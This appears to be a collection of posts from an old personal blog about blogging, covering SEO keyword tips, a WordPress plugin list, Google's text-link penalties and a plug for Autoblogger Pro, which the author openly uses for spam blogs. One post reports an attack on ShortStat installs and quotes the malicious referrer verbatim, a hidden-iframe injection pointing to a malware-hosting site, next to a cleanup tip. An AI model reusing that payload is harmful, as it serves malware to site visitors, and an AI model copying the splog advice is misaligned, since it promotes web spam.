Just Jace: A Blog About Blogging

What makes some blogs better than others? How important are subscribers, Google PageRank, and Technorati score? Jim Kukral and Paul Richlovsky of http://www.fathomseo.com talk about what really makes a good blog.

Popularity: 12% [?]

Blogging For SEO: How To Get Maximum Search Benefit From Your Small Business Blog

If you have a small business blog, or are thinking of starting one, you should be aware of the ways you can use your blog to drive traffic to your Website. It’s simpler than you think.

The first thing to understand about your blog is that each entry is counted as one Web page. Even if you have your blog set to display 10 blog posts on the same page, each of them is counted as a separate Web page by the search engines. That’s why it is important to treat each blog entry as an SEO tool. The following tips should be kept in mind for each blog entry in order to optimize them for the search engines and drive more traffic to your Website from your blog:

1. Optimize each blog post around a single keyword
2. Make sure your keyword is in your blog post title, preferably at the beginning
3. Use subheads with or tags that also use your keyword
4. Include 1-3 keyword links (anchor text) in your blog posts
5. Sign every blog post with a signature link that uses your keyword
6. Use bold and italics effectively to emphasize certain keywords and phrases
7. Be sure to ping the directories
8. Include tags for all of your blog entries
9. Use categories effectively
10. Make links appear natural by linking to internal pages of your Website

Because each blog entry is a separate Web page, the search engines will crawl them and index them just as they do your Web pages. Optimize each one heavily around a specific keyword related to your Website and that’s an extra doorway into your Website for each page indexed at the search engines. Also, by adding anchor text to a couple of those keywords and pointing those links to relevant internal Web pages of your Website you are improving the SEO effect of your blog entry. A poll of top SEO experts by SEOmoz revealed that a majority of those SEO experts said these type of keyword links are among the top 10 most important SEO factors for ranking Web pages. Don’t give up on keywords and anchor text.

You’ll also want to include keyword tags with each blog entry. Those tags will be used by the search engines to index your pages appropriately for your keywords. Also, social bookmarkers will find it easier to tag your blog entry if they like it and this makes it easier to share among their social group.

Your blog category should indicate an important element of interest as well. Unlike tags, you should only choose one category for each blog post. Don’t use “main” or “uncategorized.” Those are too generic. Use a specific keyword-related category as that will make your blog posts more crawlable by the search engines.

There are more than 100 blog directories that you can ping to let them know you have updated your blog. I suggest you do this every time you update your blog. With WordPress, and several other blogging software platforms, you can input each directory into a field and the software will send out an automatic ping each time you update your blog. If you are not using WordPress you should go to Ping-o-Matic and use it to ping your blog for free.

Finally, if you sign your blog posts with a keyword-rich signature that points to a relevant internal page of your Website, this will make your Website more crawlable and give you another anchor text link. Use something like, “Find Out More About Keyword.” Then add another link that points to your home page.

The important thing to remember about keywords and links, whether on your blog or your Website, is to make them appear natural. The benefits are enormous.

Popularity: 13% [?]

I have been using it for a year or so and I absolutely love it. It makes my blogging experience SO much better and increases the amount of blogs I can start ten fold; and yes, before you even get started, they are splogs, haha.

One thing I absolutely love about ABP is the ability to enter in rss feeds into it that you don’t even have to use right away. What that means is if you are scanning around and find a kickass rss feed that you might use in the future, you can throw a new category into ABP and put that rss feed into the category and ABP will grab the feeds entries for you and store them in the database, so when you do create a blog in that niche or category you can put that blog in ABP and update everything and you will have a populated blog in minutes.

One of the MAIN reasons I went with ABP over other blogging tools is the amount of updates and the fact it works best with the Wordpress blogging platform. Other systems are great, but they don’t use Wordpress, and that is a deal breaker for me.

Anyway, how much do you love it if you use it? If you use something else, why did you chose that?

I am also forwarding this post to the creator of ABP, who is a friend of mine, so if you use ABP let me know what you would LOVE to see included in upcoming versions.

Check it out here: Autoblogger Pro

Popularity: 13% [?]

I am available on a limited basis for blog work. This includes, but isn’t limited to, installations, themes, coding, plugins, rss feeds and consultation.

Please drop me a line at jace (@) thatblogguy (dot) com with any questions you might have, I swear I don’t bite!

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Did you know ProBlogger, Darren Rowse, wrote a book about blogging? Grab it now and learn how to blog your way into a 6 FIGURE INCOME!

Click here to check it out on Half.com

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Chris Abraham walks you through how to join the fastest-growing and most elegant free blogging services, WordPress.com. Go from the simple acts of joining all the way through set up and administration. Become a blogger in few than 45-minutes. Most folks only need the first 15 minutes to get you started. Chris is a professional blogging instructor. Enjoy!

Popularity: 9% [?]

I haven’t gotten too much info as of yet, but somehow their is a russian hacker messing with shortstat installations, the minute you click on shortstat it redirects you to a page filled with ads to adultfriendfinder and the page is also loaded with viruses.

more info as I get it

UPDATE:

ok, i figured it out

i went into my database and he is sending a fake referrer with this as the url

DO NOT OPEN THIS LINK
http://a”></a>what>we<iframe src=http://peewee.6x.to style=display:none></iframe><won.com
DO NOT OPEN THIS LINK

Just open up phpmyadmin and do a search for “iframe” in the wp_ss_stats table

and I would suggest coding something into the wp-shortstat.php to not allow the term “iframe” to be used in referrers.

Popularity: 10% [?]

If you blog using Wordpress and can’t do something that you want done like adding Sphere-related content at the end of your blog posts you might be surprised to find out that there are already plug-ins available that make it happen.

To find good Wordpress plug-ins all you need to do is search for “wordpress plug-ins” in Google and you’ll find more than enough results to choose from. If you don’t feel like having to click through pages and pages of sites that actually offer just a handful of plug-ins but a whole lot of ads go directly to the official Wordpress plug-ins page. There are lots and lots of plug-ins to choose from there.

Some plug-ins that i recommend for you to install on your blog include:

All-in-one SEO Pack - Optimizes your Wordpress blog for Search Engines; This makes life a lot easier! Automatic generation of meta tags, etc.

SEO Slugs - Removes common words like ‘a’, ‘the’, ‘in’ from post slugs to improve search engine optimization.

Spam Karma – Amazing plugin for spam that learns as it grows.

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WordPress 2.5 was a major version upgrade, so a complementary update was expected to fix any small bugs that would appear after its roll out.

Download It Here

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I got bored over Christmas and turned an old domain into a blog directory. So start submitting your blogs

http://www.madpornblogs.com/

I will be updating the theme and adding tons of features in the next few hours.

Popularity: 15% [?]

As often happens with updates at Google - today we see another adjustment in Page Ranks of many of the sites hit in the last couple of days. For example both of my blogs have recovered and returned to PR6. Not all have though - you can see a list of some who have and haven’t at Andy’s blog (by the way Andy has done a great job at following this story).

I’ve had confirmation now from two sources at Google that this latest round of updates was ALL about the selling of text links. You can see Jeremy Twittered the same thing here. Some of those who have had their updates reversed today were falsely penalized for selling links (like ProBlogger which used to do it but stopped months back).

This latest furore has all been about the selling of links and is a warning shot to bloggers and webmasters who engage in the practice. Of course not everyone who sells links has been hit (there’s no way Google will get everyone) but it’s a sign of what Google are continuing to crack down on.

So what Should Bloggers Do?

So what does this mean for bloggers who sell links? I guess it means there is risk associated with it and that the risk is loosing page rank (at the least) from selling links. Whether this also leads to a loss of traffic we’re yet to see.

If you have been hit by the penalties and want to recover your ranking in Google’s eyes the way forward is simple. Remove the links and ask for a reconsideration from Google using the tool in Google’s Webmaster Tools. To do this you need to have your site registered in Webmaster tools and log in - you’ll then see a ‘Request Reconsideration’ link on the right hand side of the screen that allows you to report your changes and ask for reconsideration.

Of course many bloggers are not doing this because they haven’t seen any decrease in traffic yet and don’t much care about a PR decrease.

It’s a decision that bloggers need to make for themselves and something that I have mixed feelings on. On the one hand I see why Google wants to stop the practice as it makes their task of ranking sites purely based upon whether the site is seen as an authority more challenging.

On the other hand I see bloggers who struggle to make money using AdSense and other ad networks and who have come to rely upon the text link ads. Many bloggers have seen text links become their #1 income stream. I also see this as being somewhat of a slippery slope for Google to go down as it’s going to change the landscape and force text link sellers further underground (see below). There will also be plenty of inconsistencies in their carrying out of the penalization of text link sales and lots of people pointing them out.

My Main Advice

My main advice to publishers whether they decide to sell or not sell text links hasn’t really changed - Forget about Page Rank and Build a Better Blog. Build a quality site that builds community, attracts readers from as many sources as possible (relying upon Google traffic as a sole source of traffic isn’t a smart move) and build a blog that enhances people’s lives. This way you don’t need to rely upon Google (or any other single site) to send you traffic and keep you profitable.

Will We see More and More BlackMarket Text Link Selling?

The selling of text links has always had a black market kind of feel to it - however I think that what Google has done this last week means that we’ll see more and more of the text link selling go further underground. We’ll see it happen less using systems like TextLinkAds and more happening in less transparent ways.

We’ll also probably see more and more selling of links inside of posts or on single pages and less and less on sidebars/footers etc.

It may even mean that we see text link selling become a more valuable thing to do as the supply of publishers willing to sell links dwindles. I know that even in the last month I’ve been approached on three occasions by individuals wanting to buy links on individual posts on my blogs - and the monetary value of these links was significantly larger than anything I’d heard of being achieved before for single links.

I don’t know where this will all end - but I doubt it’s the end of text links and I can only see both those who are in the business of selling them AND Google becoming more aggressive in this little war.

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Popularity: 3% [?]